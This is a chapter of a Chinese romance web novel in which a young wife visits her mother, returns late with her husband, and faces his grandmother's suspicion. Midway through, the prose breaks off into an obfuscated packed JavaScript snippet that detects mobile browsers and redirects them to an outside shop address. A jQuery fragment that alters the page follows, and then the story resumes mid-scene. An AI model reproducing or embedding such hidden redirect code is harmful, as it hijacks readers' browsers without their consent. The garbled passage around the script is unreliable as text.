24. 第 24 章

作品:《夫人一身匪气

    柳氏斜歪在榻上,榻前垂了副厚帘子。苻以沫带着柿糕兀自掀帘进去,见柳氏面色回转,松一口气,谢承殊则留在帘外回话。


    适才陈妈妈先一步进屋,将厨房所见——姑爷为二姑娘簪花一事悄声告诉了柳氏。柳氏不着痕迹瞥过苻以沫发间那簇小白花,心中欢慰,对这只见过一面的姑爷不免生出几分好感。


    她笑盈盈,目光从苻以沫移向帘外,问了和苻大人一样的话:“这丫头,在谢家没惹麻烦吧?”


    谢承殊险些笑出声,苻以沫听见他的气息抽动,脸色登时一黑,“娘,您怎么也这样?不盼我点好呢?”


    “你是什么脾性我再清楚不过,姑爷不是外人,正因盼你好,娘才有此一问。”


    帘外,谢承殊轻咳一声,回道:“没有。她乖巧懂事,府中上下都喜欢她。”


    隔着厚毡帘,却总觉得这会谢承殊的目光投向了这边,苻以沫忽然觉得脸皮儿有些热。


    论胡说八道还面色不改的本事,她到底比不过谢承殊。


    柳氏握着女儿的手,眼底愈发温柔似水,她是不信谢府当真上上下下都看重她的女儿,谢老太太毕竟声名在外,对一个曾经流落草莽的丫头不会没有微词。但偌大谢府,能有眼前这一人爱重她的女儿,就很好。


    正闲话家常,冯妈妈进屋来。适才主子们宴饮,随行的婢女仆从都被安排在别处吃席。


    “回程的马车已经在外头等候了,京墨让我来问姑娘姑爷何时动身?”


    苻以沫嘴角耷拉下来,眉心微拧,“才说了几句话……”


    “怪我,顾着说话竟忘了时辰。”柳氏拍拍苻以沫的手,“你回去还得向国公夫人和谢老太太请安,这是礼数,别迟误了。”


    苻以沫只拽着阿娘的手不愿放,愁闷之际忽听帘外一个明朗的声音响起。


    “听闻府上有一座石林,里面的石块怪诞嶙峋,皆由江南运来,小婿有些好奇,适才在席上丈人已答应带我游览,回程倒是不急。冯妈妈,咱们吃了晚饭再走。”


    柳氏嗤笑着摇了摇头,“你不知,那是数年前老爷南下游历时,遭人忽悠回来的玩意,实在没地儿放,才搁在那园子里,丑得各有千秋没甚好看。还是早些回去,免得府上长辈们问罪。”


    苻以沫还是头一次听说石林的由来,那石林可是苻老爹最得意的作品,没成想到娘亲这,一文不值了。


    苻爹若听见,恐怕又得气得头顶冒烟。


    苻以沫赶忙找补:“哪里就那么丑了,我进去逛过,好多好看的石头呢!阿娘,既然他想见识,就让他见识罢!”


    苻以沫从帘子里探出个脑袋,笑眯眯看着谢承殊,“既然你有此意,就早些去找我爹吧,当心一会他吃醉酒,就什么也看不着了!”


    谢承殊笑笑,向帘后的身影拱手,“那小婿先告退了。”


    不待柳氏回应,苻以沫忙道:“去吧去吧,我在这里陪母亲,吃过晚饭我来找你。”


    “好。”


    谢承殊走后,苻以沫目光回转,发现母亲看着自己的目光意味深长。


    “……阿娘为何这么看我?”


    柳氏长叹气,“你怎么能让他跟你一起胡闹?”


    苻以沫茫然不解,“他想逛咱家的园子,就让他去逛嘛。就算因此迟误,也是他的责任,但您放心,谢家老太太宝贝着他呢,不会问责于他的。”


    “他哪里是想逛咱家的园子?”柳氏点了下苻以沫脑袋,“他分明就是看你不愿走,给你找台阶下!”


    “怎么会呢?他”苻以沫暗道谢承殊怎么会为自己着想?他应当巴不得两个人立刻分开。


    但这话可不能说出口,苻以沫脑中思绪急转,便道:“他平时就喜欢看一些稀奇古怪的玩意,这人就这样,不奇怪。”


    “家里这几块破石头,你当国公府没有?还与阿娘嘴硬。”柳氏嗔怪地看着苻以沫,再一次重重点了下她脑门,但随后叹口气,拉她到身前,又温柔地揉了揉她的额头。


    “姑爷看重你,是好事,但你不能恃宠而骄,更不能让公公婆婆还有那位老太太看出来,知道吗?”


    “不是,我……”苻以沫百口莫辩,望着母亲忧虑的眼神,只好点点头,回道:“我,我知道了。”


    将至傍晚,谢府的马车才从苻家离开。


    谢承殊一身酒气,上车便阖起眼。苻以沫坐在他旁边,试图凑近听他的呼吸声,好确认这家伙究竟睡没睡着。


    马车一颠,苻以沫脑袋撞到谢承殊的肩膀。


    谢承殊睁眼,淡淡的目光扫过来,“鬼鬼祟祟,想做什么?”


    “没什么。”苻以沫摆正坐好。再侧首望去,谢承殊——


    又阖眼了。


    “”


    暮色四合,恩荣堂前的银杏树泛出金色霞晖。


    苻以沫随谢承殊走近银杏树的阴影下,脚步一顿,“为什么?你不是想看石林,你为什么要帮我?”


    谢承殊回首,“一时兴起。你家那座石林还成,没有你娘说得那么不堪。”


    “这提议可是从你嘴巴里说出来的,便是老太太问罪也与我无关。”


    “是,所以你怕什么?”


    “……我才不怕!”


    “那就好。”谢承殊说着忽然上前,牵住苻以沫的手。


    苻以沫一个激灵,交握的手心忽然变得炙热。来不及抽手,谢承殊已经拉着她往前,“走吧。”


    “……”


    老太太吃过晚饭,又在园子里走了一圈回来,此刻正在内室更衣。苻以沫和谢承殊便在外间等候。


    静默片刻,内室传来苍毅缓慢的声音。


    “听说,是寅儿想看侍郎府上的石头林,又和苻侍郎多喝了两杯,你们才拖到这会回来?”


    苻以沫和谢承殊对视一眼,谢承殊向着声音来处颔首:“是,让老太太担心了。”


    “那石头林究竟是什么样子?值得你留意?”


    “叠石为山,鬼斧神工,和咱们东园里的石头还是有些不同的。”


    “也不至于耽误到这个时辰,你瞧瞧,这都快入夜了。新妇回门迟迟不归,叫外人看见,还以为谢家没个章法。苻氏,你没劝他?”


    苻以沫睨眼谢承殊,“劝、劝了!孙媳好说歹说,可是郎君他不听呀。”


    谢承殊斜眼望来,眼神询问,苻以沫对上他的眼,抿抿唇,眼睛避开。


    那头,老太太冷哼了一声,“真的?”


    “真的。”苻以沫点头。


    “可我怎么听说,你待在你母亲那儿,一个下午都不曾踏出?”


    苻以沫脑中一懵,手不自觉蜷了下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723741|143121||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。谢承殊微微蹙眉,反问一个名字:“京墨?”


    “别管是不是京墨,总之是为了你好,若你身边的人都像庆云那小子事事只知顺着你的意,祖母才要头疼了。”


    老太太从内室缓步走出,扶着单妈妈的手到主座坐下,一个丫鬟奉来茶盏,老太太吹了吹,呷一口茶,对着侍立一旁单妈妈道:“这苻家老爷派头不小,行事却不十分妥当。”


    满堂寂然,单妈妈不好接这话,微笑着颔首。


    苻以沫低下头,觉着这谢老太太真是刁滑狡诈。说多错多,如无必要,她还是别开口了。


    “私下她已极力劝诫,只是旁人不知,我喝酒时也没让她跟着。不过,老太太说得是。”谢承殊面色不改道。


    锐利的目光扫过他二人交握的手,又在苻以沫发间顿住。老太太搁盏,“行了,天色不早,回去歇息吧。明早再过来。”


    “是。”


    “是。”


    恩荣堂外的风果然更加清爽怡人,苻以沫刚吸进一口清风,脑袋就被谢承殊点了下。


    “我今儿算是明白一句话,夫妻本是同林鸟,大难临头各自飞,苻以沫,你很好啊。”


    他的目光不善,苻以沫缩缩肩,又觉不该怕他,登时把腰一挺,“本来就是假夫妻,而且刚才都说好了,你担责。”


    谢承殊哼了声,大步流星拔腿就走,苻以沫被他带得一个踉跄,这才发现两人的手还牵在一起。


    “谢承殊,可以松手了。”


    “哼。”谢承殊不理。


    “喂,你要是气不过,就跟我打一架?”


    “你打得过我么?手下败将。”


    “……我跟你拼了!”


    两道身影拉着手,一前一后的走远,咋咋呼呼的声音传到恩荣堂,但听不清话中内容。


    单妈妈在门前望了片刻,回屋复禀老太太。


    “寅少爷似乎很维护少奶奶。”


    “是啊。”老太太叹道,“他这个模样,还真让我看不明白他到底什么心思。”


    “少奶奶毕竟是寅少爷亲自娶回来的,他肯在人前维护少奶奶,看来是想好好过日子,老太太也该宽心了。”


    “苻氏若能长长久久、本本份份地拴他在府里,倒也罢了,可我听说这丫头生长于草莽之中,野得很,怕就怕他两个一个赛一个跳脱。寅儿是纵性惯了的,再来一个苻氏,还不三天两头的掀房揭瓦?”


    顿了顿,老太太轻问:“你说,我们是不是替他再相个体贴贤淑,知冷知热的人为好?”


    单妈妈犹豫片刻,道:“少奶奶在您面前还是守礼的,自上次祠堂罚跪,我瞧她倒是收敛了不少。况且,她这刚进门咱们就为三少爷相看姑娘,岂不是让苻家面上难看。”


    老太太蓦地面色一冷,“我便是存心让他们没脸又如何?姓苻的营营苟苟之辈,把我的寅儿当作他党争的筹码,我难道还要对他有好脸色吗?苻氏那丫头瞧着是个直肠子,或许也是身不由己,但……我看着她实在心烦。”


    单妈妈叹气,“既不愿见她,不若即刻叫人去荟熙苑传话,免了三少奶奶的晨昏定省,以后不再招她过来。”


    “不。”老太太抬手,“那丫头一日在谢家,便一日是谢家的媳妇,不管从前如何,以后她不能给我谢家丢脸。我要亲自管教她。”